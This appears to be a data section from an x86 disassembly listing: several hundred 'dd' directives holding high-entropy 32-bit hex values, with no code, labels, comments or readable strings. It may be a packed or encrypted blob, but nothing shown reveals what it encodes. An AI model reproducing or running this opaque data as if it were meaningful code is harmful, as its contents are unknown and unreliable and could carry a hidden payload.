		dd 102000C9h, 0B6E9DEA3h, 20F79434h, 75002FC0h,	96381C03h
		dd 0AE075Fh, 926D07Eh, 0EBBE2B9Dh, 0E7184F00h, 0B98B8117h
		dd 0E1F90A66h, 0F4E0F3h, 8243EF40h, 0D3F414C3h,	6B595300h
		dd 1CF9E3A1h, 9CEB0099h, 54AADA32h, 0CD001DD4h,	52BE0B7Bh
		dd 0DB5504h, 1159D8A8h,	0A2B5A6E1h, 1CBBC800h, 7B7862DFh
		dd 0CDE200E9h, 183DA397h, 0C73B3EBCh, 0D8EB8276h, 7066136Bh
		dd 990E00D8h, 256DDE4Fh, 0C9077F23h, 291F05DFh,	8ABEEFE0h
		dd 5DCD0713h, 70F90326h, 2A5AEE94h, 0CA8DF028h,	102F4F00h
		dd 0DDC1B56Bh, 7B4113A4h, 0C6D8013Eh, 7DE11E02h, 4ECCCEB4h
		dd 6A84E2B8h, 0B1809847h, 0E8CA0E5h, 88C1002Dh,	2863C71Fh
		dd 120CADBFh, 20EEE889h, 0BBE17C3h, 0F4A040F7h,	6E12DFACh
		dd 0ED7ABA00h, 63C5E51Eh, 0D4DB2465h, 97498700h, 4098F63Ch
		dd 0B211B305h, 0C4E003BFh, 0CF1902C2h, 0CA3D134Bh, 0AD0F7058h
		dd 0FB9781h, 0EDA61D1Bh, 65372426h, 0CB8A4134h,	88FD1041h
		dd 0FFF89Eh, 40B6B109h,	22D98EB8h, 5C1DF370h, 2E47DD63h
		dd 0EB20B7C2h, 0E61FC7BEh, 696500FDh, 77983BA1h, 1624EA8Bh
		dd 3A00608Dh, 48994E0Ah, 0E56E00EBh, 1DCA78AEh,	7C04A6AAh
		dd 0C452CCB8h, 0D3CE84C0h, 0E55401D9h, 0BD4C3B78h, 7E0205Ah
		dd 3D9E7A00h, 90F4570Ah, 2FBB7528h, 8C9088FBh, 7F013146h
		dd 3ED4DFBEh, 0D464839Ch, 3FB205BBh, 90CC678Fh,	4804A05Ch
		dd 1F849300h, 0BA6A47AFh, 3C90030Ch, 7F4DB9AEh,	0DFD81990h
		dd 8D6EEF0Eh, 2DD24130h, 0D034D190h, 763740A7h,	67EC0E7h
		dd 92EC9603h, 0A085D062h, 0BBDE75Fh, 390F8A5h, 0AE0290ECh
		dd 35E682D0h, 2098809Ch, 18B05A8Fh, 58970C93h, 0AC12C0FAh
		dd 3C016016h, 26674962h, 5CB27C20h, 0EC9D303Bh,	88E80448h
		dd 954B815h, 818277A8h,	3A7B2184h, 0E20ED86Ch, 0AD038B55h
		dd 9BC08DE1h, 98005936h, 0FB29111Bh, 0A673BBh, 0B143CCFAh
		dd 593399FEh, 1CD56A00h, 3D03BDF6h, 0A3630215h,	465DCA7Ah
		dd 722742C0h, 6459ED0Fh, 8A67C170h, 0D5ECCF11h,	0CB2E000Fh
		dd 76A6F42Dh, 599842B8h, 1E687900h, 21EA4769h, 9D820BB0h
		dd 0D820C9A4h, 3AB9FAABh, 0F097D0Bh, 8481867h, 546C00D0h
		dd 4A36E514h, 2900DE15h, 34DB184Dh, 0E0135Ch, 0F4215B3Bh
		dd 0F7285F07h, 0DED53800h, 513422A5h, 8D60C136h, 38AFB40Ch
		dd 579C002Ch, 0B19F4214h, 3C550509h, 386BC6Dh, 31753410h
		dd 8B23903h, 2BA5E98Fh,	82CDF08h, 2E402ABCh, 605F11C3h
		dd 2256083Ch, 2033B8BBh, 0E0D190AEh, 5E0875h, 6726127Fh
		dd 5536532Ah, 0BB477B00h, 2DFCA548h, 918F0007h,	956D4A75h
		dd 0B30372BCh, 5639061Ch, 7B380518h, 1F85214h, 364F2A3Ch
		dd 0D01DE342h, 538BF4Eh, 710DC844h, 463DE4D0h, 0B29018E8h
		dd 3645D060h, 6A7FCB07h, 0DD40BE28h, 0F435613Ch, 0A4B7009Bh
		dd 78C03795h, 0E800C632h, 41725D87h, 4B39FEh, 734DEA15h
		dd 9B19A8C4h, 2BBCB40Fh
		dd 0F2F80043h, 10BCE33h, 0C2B50841h, 0DD304039h, 0F38440C8h
		dd 0D3525632h, 16AD00FCh, 0E140286h, 0AAF0E67h,	0A18C19F6h
		dd 86F8D021h, 80B0B938h, 32714709h, 0FC3044h, 0EFAE2757h
		dd 4E339CB4h, 909DB110h, 0F05B607Ah, 0DBB634BDh, 11EE6501h
		dd 8FCF66B5h, 0E78D5980h, 3E7704FDh, 541D11C0h,	0E1A5E5EAh
		dd 38BCC041h, 21490898h, 0EA0056FCh, 1CB0D935h,	7DA937Bh
		dd 0A86BF3A1h, 0C251207Ch, 0C019B24Bh, 5288B099h, 60D520C8h
		dd 5C177816h, 8B010A4Dh, 0C08C4BFCh, 28819B5Dh,	5ADAABADh
		dd 1BD451C6h, 4475200Ch, 31B37703h, 0A3B16F7Ch,	3C21001Fh
		dd 6CBC4A04h, 0F90E250Dh, 0E002CB67h, 32F507B5h, 0CC3814FAh
		dd 1800903Bh, 0B4DF2E72h, 49EEF3C2h, 602FE40Eh,	68AFE001h
		dd 3A6EE1h, 4E2163D1h, 9879399Fh, 841AF61Fh, 0EC8156DEh
		dd 250C4ACh, 3164E0h, 0F42FC947h, 8B0C0753h, 7577FF00h
		dd 3B1ACCC6h, 0CF983E48h, 85FEAC80h, 1B9C5870h,	792A4A00h
		dd 0DD158D0Fh, 0CEBB3FADh, 0EC235E00h, 331B6CB0h, 0C35641Fh
		dd 8E7DC3C0h, 0D4C4DFh,	50DC12F1h, 0B14B662Ch, 0EE592300h
		dd 11ED419Eh, 0D192006Eh, 0DA9ACC42h, 0DF0EC68Bh, 0A0C0D910h
		dd 11303B23h, 3DB20097h, 5D52CFADh, 0D014D4Eh, 2976D102h
		dd 61F2A9BCh, 0ACF05643h, 2D8C1DBEh, 322497h, 9A73176Ah
		dd 160CC90Ch, 8F91548h,	20BD607Fh, 8773C0D4h, 58A54612h
		dd 0AE70AB00h, 303A4B3Eh, 0EE606F91h, 0BE00F5ABh, 0E6B845D4h
		dd 0F08A4433h, 569E0012h, 69B6A913h, 8666B1B9h,	213908h
		dd 665697F0h, 0FBA74A9h, 7E2ACF18h, 0DB8579h, 15CBE7C7h
		dd 720388AFh, 8B61D900h, 7C0E3142h, 0C9BFE2Bh, 68993A4Ah
		dd 59C73288h, 11FD0D2h,	858B2814h, 18814CF5h, 0C0F07B32h
		dd 5F1F0034h, 0D3CD29F7h, 8083118Ch, 0CA37308h,	7B448C11h
		dd 73C100D7h, 0FCA1C9E5h, 80630E54h, 0F28E781h,	0C0B32489h
		dd 1CA66703h, 39B63A0Fh, 12B88005h, 0D075D10Ah,	0C4239CB8h
		dd 17569A01h, 0C41896A9h, 0FC4540h, 8E6C5693h, 36B2C52Fh
		dd 5FC083F9h, 0F8435D7h, 4B7D0FD0h, 5050ADA7h, 0D4EB04BAh
		dd 9B00E0E2h, 0E643C062h, 0C33A44h, 23417DE7h, 0B7A34D50h
		dd 60207B25h, 7EBA8FC6h, 0D71100E9h, 2AFC495Fh,	99028861h
		dd 0EACE95ECh, 87BC6005h, 0C6BC0028h, 0F14FAF3Eh, 5400C207h
		dd 0A5570493h, 5B0CC9Ah, 0BACF270Ch, 240480B4h,	0CE00369Fh
		dd 1B59BF97h, 0FBF33Eh,	274FBB48h, 8D2362F0h, 0E4BC5013h
		dd 543E8E00h, 409545h, 5518D393h, 0CA0C1281h, 8C587E02h
		dd 402C96B8h, 7F372791h, 72BB003Dh, 6CC84C89h, 0B538ACFBh
		dd 0D26B83CFh, 0E04271F3h, 0F8B705A7h, 1AA40EA0h, 0D18792F5h
		dd 8DC5A0DCh, 0C03CCE79h, 58089FF4h, 2170B0FEh,	48C2D52h
		dd 6D47EABh, 0FBE280B6h, 6E388E50h, 87C19EB5h, 71F13C80h
		dd 0FE120A2Ah, 9EEEE7h,	97DD29B4h, 2E83D316h, 0F509D6Fh
		dd 3B962004h, 18312CF3h, 8171B91h, 20C0D306h, 4996245Fh
		dd 6CCE0038h, 0D42B9A4Fh, 0CD0077CBh, 59D99EF0h, 0C628B01h
		dd 7E1E538Eh, 0B1CE96D8h, 70218AA1h, 848DCC40h,	86587BCFh
		dd 7574E44h, 0F4AA8C34h, 0DFCE50F1h, 0D3304869h, 63C92097h
		dd 78D06373h, 7BD88499h, 0D806CEB8h, 2D2BEF26h,	0DD2506F8h
		dd 0C0CA9C05h, 7B00A47Ah, 61423AC8h, 655098B1h,	1D30811h
		dd 830FA488h, 0D216F8C9h, 0E391A000h, 0BBE7CE42h, 1028A32Eh
		dd 4B0B60h, 88219D44h, 3A45736Fh, 9C0FB251h, 2F20D315h
		dd 0D9EF6070h, 0D63C8398h, 0D121818Ch, 0FAB512C5h, 7659FCh
		dd 9431D808h, 0C7399C6Fh, 25F06700h, 2DE13A1Ah,	0B91D0065h
		dd 0A23F9DB3h, 660027AAh, 8118E8DEh, 3033B1h, 0ADC3620Ch
		dd 370FFC40h, 2C0075ECh, 0C246A07Fh, 0B2BB3Eh, 16CA10A8h
		dd 0C4506804h, 1F00547Bh, 0F1780AFBh, 31B44h, 352BDC30h
		dd 57E2D47Bh, 0BE8DBF00h, 0D2EB801Fh, 3C3E0047h, 0A204DD9Ch
		dd 7B0093F2h, 5B92128Ch, 391172F9h, 0FFC3BC4h, 704610AEh
		dd 73F5807Eh, 0DD3C42E4h, 0C9948C03h, 18DC8777h, 20109108h
		dd 3C0041C7h, 0EF46B2Fh, 4458E1h, 7068154Eh, 52FD5784h
		dd 0D517200h, 800AF0FBh, 18F460E1h, 2CC3F5B3h, 4481A60h
		dd 33DADBFh, 9CA9485Dh,	9309AF8h, 45DF21B9h, 144E003Dh
		dd 8F9953A3h, 1FF8766Ah, 8688F51Ah, 80828F91h, 0F0FDE013h
		dd 18A660B3h, 3D4AE5EDh, 93317F60h, 3AE5A5Fh, 0E9BCC10Bh
		dd 830B9F2h, 0D7B2219Eh, 33551C5Bh, 7D670701h, 79062F87h
		dd 3B20603Fh, 31736FE7h, 0E008092Dh, 3C007B77h,	1D0BADA9h
		dd 98D72452h, 0C0F8003Dh, 95D12F56h, 6B1479AAh,	0D848244h
		dd 49847180h, 0CF1001EDh, 0BA002C6Ch, 0D4277856h, 3874E0E7h
		dd 2582527Dh, 0E5718B7Bh, 8411A49Fh, 0D5256080h, 0DA001EC7h
		dd 9D81BE13h, 118A59Ah,	1578BBD6h, 808EB60Ch, 2638A410h
		dd 573C6Bh, 0F146014Eh,	8EA8D5BFh, 0ACEE8200h, 56535D7Eh
		dd 0C8511DD2h, 75BC028h, 1B9BAAD0h, 81F6B100h, 7821C49Fh
		dd 59AD008Eh, 82CF9E3Fh, 3F2FF2Ch, 0D9CED700h, 26DBCA4Ch
		dd 0E8D60987h, 0DE00F612h, 46761C24h, 91055501h, 0A67FD4A5h
		dd 0F88A120h, 0BE5D14DBh, 20B31BA7h, 4BF04422h,	5F47BCA0h
		dd 0E950800h, 8FAE2389h, 10DE1BB9h, 7EA01125h, 0A083712Dh
		dd 2FEAF504h, 3758BACEh, 0B4629700h, 0AD53214h,	881C0BAEh
		dd 0F180E56Eh, 0C347BC3Fh, 184D9E1Eh, 0B8FD01B8h, 0A51F4203h
		dd 3ADB1DF4h, 5802C3Eh,	95AB545Eh, 59901E43h, 77009C7Fh
		dd 4A129802h, 3BFFBB4h,	41A4B026h, 2BA0DA27h, 83309306h
		dd 0C1941148h, 1801006Ah, 26AB19E3h, 0E203915Eh, 9B8AA072h
		dd 2C2900B0h, 7651A90Bh, 0C57DE3EEh, 0EA07E97Ch, 6BDDA846h
		dd 8A8D1761h, 2E78C0h, 35360EAFh, 0C381455h, 0CB263100h
		dd 0F74DE06Fh, 0EDD10027h, 0E93583B9h, 0F204796Dh, 959E1BABh
		dd 0F9BCE680h, 0B32900FFh, 0E2219BF8h, 2660CC2Bh, 0F4866588h
		dd 763900ADh, 73534FCFh, 0F500A3DDh, 4EDFE536h,	0A098152h
		dd 0CCF23454h, 0B73380C8h, 2267B2F4h, 4DA28200h, 52C37269h
		dd 5D1E8E3h, 0B53981F3h, 58DBC092h, 5F000B95h, 2F4B5361h
		dd 7D314Ah, 0AEA4C5A2h,	84B2183Bh, 4FCD1A05h, 0F8439B71h
		dd 988FE22Dh, 16320C7h,	19A4DFE4h, 0D868ED92h, 8133E348h
		dd 0B823708Fh, 0F6140Dh, 0F97A5243h, 0BE950742h, 942FC838h
		dd 0A7F5A1h, 0CE87DA21h, 0E82129Ah, 4658FF5Fh, 7B7A4820h
		dd 0D7026929h, 76036BFCh, 7F47C89h, 10531598h, 186E1002h
		dd 8CA4403h, 0A0E7A565h, 1E386DCh, 0FC2CAF12h, 0CCB9CBBBh
		dd 0AD00F5C1h, 89E8A597h, 0C08E2352h, 211171A8h, 9A002E35h
		dd 42CA3F0Fh, 2ED36556h, 29A6B6h, 306DD55Ch, 6E14C56Ah
		dd 2AB8AFB1h, 92003C02h, 0ED3E98CBh, 32D753h, 2EF012C1h
		dd 0D9207409h, 0A73B51Eh, 29AF3840h, 586EB219h,	0E30313A1h
		dd 443A6104h, 0E00BC8Bh, 5E344ABFh, 931FD0h, 64476AD5h
		dd 31782826h, 1956860Bh, 846D8258h, 0B8DDC0C7h,	269A072Bh
		dd 93BC2789h, 5B908277h, 7572C8CEh, 0D001B707h,	0BC433043h
		dd 71F8C6EBh, 9CF60229h, 0D1AE68FDh, 6500F0A9h,	0BAA5D8CCh
		dd 6478C8E9h, 4CE63824h, 0C4252281h, 11828598h,	5BE4C86Fh
		dd 95CE6DE0h, 0B8802000h, 0F95573E9h, 352F00A0h, 760CEB2Dh
		dd 440026A4h, 0BF378BC6h
		dd 3C142913h, 12BFD686h, 8D50D431h, 0F194605Eh,	4FCC8E06h
		dd 7998F7Eh, 0ECCFED4Eh, 0BB193097h, 100930E7h,	80D8D6h
		dd 9C8B9EB0h, 0E492A9h,	9AE00E23h, 0D16C09ADh, 4D12AA03h
		dd 3E1CE27Ch, 1400A231h, 4A4519B5h, 1B0033CDh, 0B89088EFh
		dd 0CC8B10h, 0A7EC6148h, 3786B905h, 80A1C40Fh, 9CEA002Ch
		dd 0EDE5EAEh, 7D7163BDh, 752406DFh, 0CB0120CDh,	45DD9450h
		dd 5CD46D1Dh, 3370335h,	318A3B11h, 8EE12BE8h, 6AADA407h
		dd 8CD0A589h, 1D27F28h,	9B1A600Dh, 0C5BC8A07h, 0FA882078h
		dd 2B90DE00h, 0C70AA95Ah, 0ED0E245Dh, 0F9778044h, 8C0CFAE3h
		dd 0ABC9F128h, 88846C54h, 3807AD07h, 3092F329h,	7A314005h
		dd 0BBBC074Ch, 0A02F7FE9h, 0A80734F9h, 78008173h, 1C48D7F6h
		dd 4029B8h, 24466975h, 91655088h, 8AF3D00Bh, 0C39D002Ch
		dd 4A8617h, 0D75BFCC8h,	7501533Ch, 2B4F9624h, 0EE33DA01h
		dd 5FF48EC9h, 0ADC80041h, 0E382490Ah, 0A8012BDFh, 0BD8FB4F5h
		dd 88F8F695h, 7EFC1322h, 0B98C40F8h, 0E798C1CEh, 4CD8F24h
		dd 3480149Fh, 698E89ABh, 5D2B02D8h, 0A3DF1C61h,	0FFF23C60h
		dd 58339400h, 18FDBCB4h, 4A7FAFh, 739AD403h, 0C4D643AEh
		dd 3EE28200h, 48C0AD69h, 40B0E8h, 618FB84Ch, 76943489h
		dd 7B161700h, 27531F41h, 59660A63h, 88BCA05Dh, 2F85FAB6h
		dd 0E81C2E0Ah, 0AB3CBE40h, 0C7F1DBh, 70173790h,	92C26443h
		dd 82D16307h, 2D506CB8h, 60DDEB05h, 0AB3E19BAh,	6F906D69h
		dd 46A3C518h, 0EA62B550h, 0A2BB0047h, 59E9FDC3h, 1E004284h
		dd 669A686Ch, 0E22488A9h, 99910011h, 0DE519B9Fh, 8958E1BBh
		dd 0AE1500E5h, 0B44970F1h, 31380EDFh, 0F80034EDh, 0B76EA40Dh
		dd 25202301h, 12782BAFh, 0F1CFF8D7h, 0C53F00DCh, 68148C98h
		dd 0A9E08E1Bh, 5D03D03h, 88DA247Eh, 79DB07h, 0FF6676DDh
		dd 71D982F8h, 891F9600h, 41541DC9h, 3B37397Dh, 0A311A203h
		dd 0D0DF8E99h, 16BFF328h, 0EA766F00h, 39134F40h, 0A0A8008Fh
		dd 45AEDCB3h, 3F001705h, 30826D7Dh, 13EDA92Ch, 0BC1078C1h
		dd 729B1EABh, 9AF7640h,	9AD6B58Eh, 774E00BCh, 9934301Ch
		dd 0A008DBEh, 25CA665Dh, 1C3AC1A9h, 43B587E2h, 77EE680Fh
		dd 742C63C9h, 1B00C368h, 0CBBF62E6h, 0BE1817h, 926B0BECh
		dd 0A0CE91E2h, 14900400h, 12E4FB8Dh, 0D9FA0094h, 0E6DD8B17h
		dd 18B869F0h, 0EEA4C40Eh, 24B6A0D5h, 49662D43h,	60B6083h
		dd 0D820724Bh, 0CFA521F7h, 0A2F9F61Ch, 8218735Dh, 40960129h
		dd 3B7CAA62h, 4F18B674h, 821851Ah, 45FB849h, 8E6A1783h
		dd 0A0578793h, 9469DC26h, 2D289B7Ch, 0B5003C59h, 9F903BCh
		dd 31AD7275h, 1E185EA6h, 72B07E3Ch, 0C9BB002Bh,	0C0F6B8A2h
		dd 54A06907h, 24A0602Dh, 540EED04h, 82E76AB1h, 807407DEh
		dd 33E39514h, 34F0019h,	7D4EB8D8h, 0DB0F8BB7h, 87768820h
		dd 0B5003DC5h, 11749DDh, 0E4FDA9A7h, 0E887CB29h, 0D6008225h
		dd 9F1ECFDCh, 8AF660h, 0D0967E20h, 0FBE0C614h, 0CDDD2E28h
		dd 0A7CB9E00h, 0A50B1089h, 0E7B00EAh, 1B8ED8E7h, 5700422Ah
		dd 0FFD6EB52h, 0C903C0h, 0D8989E40h, 1EB25C19h,	0E8751600h
		dd 0D37DE2AAh, 1EECFCAFh, 4009EE4Dh, 0E6C0D30h,	3B0F80ABh
		dd 80A9EDADh, 21974C53h, 18DB78F7h, 56CB1F51h, 0C7F839D7h
		dd 8A72DD00h, 89C8D95Ah, 0EDA707B1h, 61CD33B5h,	472D7FB9h
		dd 3D6CD1A0h, 0D953F46Fh, 0A0C6A201h, 351A086Bh, 4CF22183h
		dd 0B4F0D1D8h, 0BCA0CAA7h, 0C0A887ADh, 66077120h, 0CD381945h
		dd 12FB9520h, 5427CA6h,	0B49DDFC8h, 0B8C84075h,	786E0627h
		dd 0FA9FCE00h, 3C2E132Fh, 7F603CCh, 0E57F911Eh,	8DA130E8h
		dd 730661C7h, 5CC851A0h, 8767002Dh, 6D0B096Bh, 2C0F03AAh
		dd 40556906h, 7831D9F2h, 97A21D70h, 68B440B5h, 2D451408h
		dd 7DB6501h, 308120F3h,	0FD3BD980h, 1FE37BCAh, 666FBE00h
		dd 27A1704Eh, 0ED430C0Eh, 18369FBDh, 6C06A200h,	1E9A3F20h
		dd 384F0021h, 1D9D609Ch, 800A8F3Dh, 48EAD28h, 0F40358h
		dd 0A05A30A2h, 0BD3331DAh, 96CE2500h, 0F8189B80h, 0E45B74F3h
		dd 61282687h, 0C3651F5Eh, 0B1335C4Eh, 34974816h, 940005ACh
		dd 0B218D3E5h, 0F9008777h, 95FC5001h, 0C08DAD8Ch, 119C8E20h
		dd 5D53C87Dh, 0BCD98420h, 9065BA60h, 99CC5600h,	0D134910Dh
		dd 0E8233C96h, 9325DE00h, 0C1EC8E9Ch, 0FB8C500Ch, 792859F0h
		dd 4DCB000Dh, 34A05298h, 0A174B82Ah, 0F08C2954h, 0D0CCC800h
		dd 3D3257F1h, 0B7EF5h, 0EA0F3F2Ah, 0D7F862F3h, 1C3C2824h
		dd 6A009C22h, 602AB3BAh, 0A8A30CBDh, 6FF4A4h, 0A213D986h
		dd 4AFB3DF9h, 938631DFh, 1FA0B4C0h, 603CF99h, 218B7764h
		dd 6E59A01Fh, 110C07C0h, 0CC74347Bh, 47215208h,	0DF6E510Ch
		dd 146C1h, 9B096EBh, 580B37B9h,	6AC6871Ch, 1C97143Ch, 908500D4h
		dd 1BF825F4h, 54650002h, 57D196CFh, 0FB155FF0h,	18017F7h
		dd 0A26BE7A0h, 0C140BB95h, 32CE1AEh, 954BFADh, 5015F933h
		dd 0B8AC5301h, 0AD5E0719h, 8082EF3Ch, 3B32DD84h, 9C09D17Bh
		dd 202B061Fh, 5699AE44h, 2A170004h, 3FF7ACA8h, 1F81D73h
		dd 5A3034Ch, 2FFD02F8h,	0DBEFFC01h, 0A840A6EBh,	0F22358Ch
		dd 0E73E72ABh, 61159301h, 0EFF0895Dh, 370804F8h, 59CDEC60h
		dd 0AAF29810h, 0D48025C8h, 0C67BCCA4h, 785803B6h, 365D0D98h
		dd 0AB107875h, 93098650h, 94279D2Dh, 0A3FCC3CAh, 0C5811800h
		dd 0F69833F4h, 0B56A002Bh, 2A2808EBh, 515CAB78h, 1B3A0173h
		dd 4FAD04ACh, 0AF5FA886h, 3C158113h, 0FC8A15h, 0FD97C05Ah
		dd 3EB5D8D9h, 6F246696h, 6E5AC01Ch, 0A42107DDh,	76910Fh
		dd 0C86E524Ah, 1522DE1Eh, 0E8E3F10Eh, 1FA0C73h,	9311F709h
		dd 909A3400h, 0DDEE9421h, 0BD4430BBh, 86153DD0h, 0A32351C2h
		dd 4B6448D4h, 2F093817h, 9C9740E3h, 0E040DFBAh,	9E0A5EE0h
		dd 10BA8EAAh, 0CE580E39h, 0FA522165h, 0A8431523h, 0C75904B5h
		dd 0AA054ABh, 0B286D4AAh, 0B0208F11h, 3A2000E6h, 76C913CFh
		dd 0A83C8E5Dh, 0D5017FEEh, 7BBEE174h, 318F7AB5h, 678009AEh
		dd 0AF543816h, 8400137h, 0BD219Ch, 5E4BD5FAh, 2C3E9AAh
		dd 1A27091Bh, 9496A9A8h, 0B0A3E824h, 5A9D3E4Ah,	996F5B4Ch
		dd 63F3FB81h, 0C18A4B0h, 0D002C5BBh, 6E4D3080h,	6C055011h
		dd 4B8A7588h, 0EE00E065h, 0ABC21888h, 15980960h, 70AF2905h
		dd 8C80543Fh, 252DB109h, 8816C2Fh, 8A5E9D3Ch, 9CC29849h
		dd 471FCE80h, 230642Dh,	0E1BEDC36h, 0C060C0FCh,	5F883ADDh
		dd 7BDF28ABh, 0AF20C88h, 98702B69h, 0C83E49h, 4A140ED3h
		dd 0F790D2h, 1F8F376Ah,	25548516h, 52810C99h, 35FBE598h
		dd 39184080h, 0AFCCE2DAh, 0E09B1F0Eh, 2E369EFh,	48BA7D8h
		dd 0AB7C8CADh, 976A9FF8h, 0DCCA7418h, 0C682A000h, 5C5038h
		dd 13D6664h, 311A099Dh,	14681C3Ch, 0E9813D7h, 439EAB7Ah
		dd 15EDC8h, 388148C1h, 9B7F9712h, 8AAF8C37h, 94402C45h
		dd 0DD387956h, 47C6397Eh, 48774280h, 85A4BD89h,	14038A40h
		dd 0F4AEFF59h, 4112304Ch, 0BE7042A6h, 3846B365h, 69D51304h
		dd 59620816h, 0D5FCBB20h, 0CE9D017Fh, 98B4FFAEh, 6EA98110h
		dd 0A863EF1Fh, 0C66DBC8h, 3C19C4BDh, 0DF01EC68h, 0DD51C2BEh
		dd 89C13A88h, 7980F855h, 0B04DF18Ah, 19DF07DCh,	0AFE64A34h
		dd 0DCEAA100h, 65006A70h, 4B9642F8h, 3D11346Dh,	480286CCh
		dd 3FE35A8Dh
		dd 0DF0E08Ch, 508F8540h, 4351A4E5h, 386802ECh, 31579735h
		dd 906F130Dh, 2C02F38h,	0BCB02D4h, 0F881FA18h, 60EB78A3h
		dd 914C1578h, 0AD9603FAh, 0C657043h, 680FB118h,	0DCACCB70h
		dd 13386604h, 20626797h, 387E5520h, 43963A1Ch, 0FEBEA587h
		dd 21B81FF9h, 50F91409h, 811251BCh, 0A09BD518h,	0F804EE10h
		dd 1D0937Ah, 6A66E67h, 8839185Ch, 70727F75h, 0B5046D09h
		dd 4400A088h, 16F6C1Fh,	0D5F95221h, 0E07A103Dh,	4E029ABCh
		dd 0B430CA94h, 9218689Dh, 58135DFDh, 0BC43624h,	898A2576h
		dd 27B406C4h, 77002886h, 161CCDE3h, 5830F9F8h, 0F6BD5C53h
		dd 530D30h, 4C76995Bh, 1A1BD67Ch, 5459022Ch, 24C1C780h
		dd 379467E1h, 0F0D183B8h, 0B73EB381h, 0F4118405h, 9C02A7D9h
		dd 0C0A4147Bh, 0E8523A0h, 0B78EFD99h, 97609623h, 2487A9E9h
		dd 93242194h, 8F0028F2h, 1759D798h, 3ABB302Eh, 72240921h
		dd 0F8876229h, 0B5180DD1h, 56E175Ch, 0B35F4B54h, 8EAE9881h
		dd 0A2BD0410h, 6EB47507h, 5F22D297h, 42A8C641h,	4E37030Eh
		dd 74AC552Eh, 574840C0h, 502A8700h, 0B88830FDh,	4820921Eh
		dd 0FC00E11Fh, 80A78121h, 0FB002C7Fh, 312A3216h, 47554Ah
		dd 19F73F34h, 0C50A1A28h, 0F2B40E50h, 0CF058CE0h, 6034BDABh
		dd 0A469F846h, 0B3A90089h, 116A804Bh, 6B0072DAh, 0D9BAB924h
		dd 1C09B52Bh, 3A190105h, 9C73F094h, 9D8CE062h, 0AC930D20h
		dd 0FFA49013h, 43668060h, 0D53602B3h, 31F01680h, 0B8F8528Dh
		dd 0C286C07Fh, 96170A15h, 84AA29h, 0C8D96FF4h, 0F72ACD4Dh
		dd 0E100B09Ch, 44D2A2A3h, 25932290h, 0B41DA194h, 3A802491h
		dd 9AB6470h, 20582D51h,	9F4113B4h, 9C32B3F1h, 250F1F09h
		dd 44F70423h, 8B5B492Eh, 0C001E30Ah, 1CF8B900h,	0CD025AEh
		dd 3EF7F085h, 36002E29h, 9BF52D71h, 612B10h, 898B1353h
		dd 0F7AD94E7h, 9695501h, 0F0AC8292h, 7C001822h,	0DAA85237h
		dd 0F6003994h, 0ADD6060Ch, 2F0C258h, 2D04AA4Eh,	0C8E9CF62h
		dd 44E187Bh, 405516Eh, 203B3211h, 426E66AEh, 8304F6F8h
		dd 3E37F109h, 5A1D7003h, 173DCC88h, 57318C6Bh, 0A6DA1A01h
		dd 6FD9D4F2h, 0BF0F6400h, 10746A9h, 0AA1B28B9h,	4CA8779Ch
		dd 0E710BC98h, 0D1AD0745h, 89B5BB25h, 9082D80Bh, 0C03F6960h
		dd 92359E61h, 9DE8021Eh, 9472DB00h, 51BD3677h, 51C2C61h
		dd 98784054h, 4B608D2Dh, 6D3D36F8h, 630B1A1Ch, 0EC8420ABh
		dd 385560A4h, 0ACC690CEh, 211160ECh, 86386F02h,	8D547F03h
		dd 0B4425Fh, 7A0F3FA1h,	0E556FDECh, 2649h, 55EA34C4h, 0B6F21Ah
		dd 11726BC9h, 0A0D14538h, 85C6E43Bh, 8BDB81EDh,	0FDAB3090h
		dd 0A34BA4Bh, 5E44BBA3h, 98E49E8Ch, 94FE1858h, 2524EFEh
		dd 3130F2E4h, 0C4C620CCh, 484154Dh, 401FF3FBh, 965E2800h
		dd 244E430Bh, 0EAAA4C00h, 0E0807877h, 0FC402EF4h, 810A6C0h
		dd 0D9010A83h, 0E66162A3h, 74AA897h, 0C6332E70h, 80052017h
		dd 0FB5F22A4h, 46C3203Ch, 1E751C77h, 1D51EA82h,	0D145209h
		dd 8669C45Dh, 0D9BED3B8h, 0D1826700h, 0D4E154A9h, 9C7900C1h
		dd 19B2CDE7h, 5F1CCA73h, 0B9056BBDh, 20D7118Fh,	43210280h
		dd 91627899h, 0AA2CD004h, 7E390086h, 3396D222h,	0C55C9098h
		dd 0A06D104Ch, 0FF1030Fh, 7434D7B2h, 0B1A30755h, 8178C0A9h
		dd 0CF42E22Fh, 0D0F8B618h, 0AB12C739h, 2CCD9888h, 8CF1AC30h
		dd 63CCCA04h, 0EE38E298h, 0EFCCC201h, 895447DFh, 13CFA0D9h
		dd 40657556h, 9FF91504h, 80C3AB91h, 0D653D981h,	20BFF898h
		dd 0F40B4EE1h, 19F10F5h, 5B17EF88h, 6FBA8F10h, 3A84552h
		dd 7DC01060h, 3960AF3Dh, 0E5F60Dh, 374178C3h, 2D45C5EFh
		dd 510BC10Eh, 4ACB2057h, 5BB78Ah, 7C483AE5h, 7B236634h
		dd 0E19D9F07h, 2AB084A8h, 7729FCh, 37D9FEE7h, 78D6D25Eh
		dd 0AEF31207h, 1DE04857h, 5DC1843h, 80ADBC21h, 3D25C00Fh
		dd 1E023511h, 57129BF9h, 814340FDh, 79310093h, 0F11B60Ah
		dd 9A093AD8h, 83D33262h, 309987D8h, 0AD5A59AAh,	7801E7F6h
		dd 9B7534CBh, 9E70E847h, 0A5D2005Fh, 0FFF52F8Ah, 0EF003F74h
		dd 0E3DFF778h, 3CCB3F9h, 0B5799F11h, 0C6C1D083h, 0C8EBA41h
		dd 28A86122h, 42583AFAh, 69D2D501h, 0F0D4963Ch,	0FD036578h
		dd 60170614h, 62F5C0F6h, 0F410C008h, 9F7930CCh,	32CBFC00h
		dd 0DB18C65Fh, 9B80009Ch, 55FEAA82h, 18DFD2DAh,	0A97B36C1h
		dd 998007E0h, 0D6EAFABEh, 2F003C57h, 471508D7h,	0A6A8EBh
		dd 0E997B5CCh, 32B1917Ah, 0D5FE0300h, 61836DDFh, 581A07C6h
		dd 816A6910h, 8C6F92A2h, 196C2269h, 3E427D81h, 0F900F4C7h
		dd 0D88794ECh, 52000FFCh, 0B3CF7DAFh, 0F1ABD7h,	0FFF84ABAh
		dd 37A6D5F3h, 4F19FA00h, 1003E878h, 0EC5301D8h,	399A57C4h
		dd 0CD7BCC34h, 1116C00h, 71F1F96Bh, 279B00B5h, 7E3B2BD0h
		dd 0E400A10Ch, 6685BD8Dh, 0FE210FBh, 0F73CD8E0h, 205DCA1h
		dd 0F0E3FD26h, 0AC0F08C2h, 807F7A17h, 313F777h,	0C89D0001h
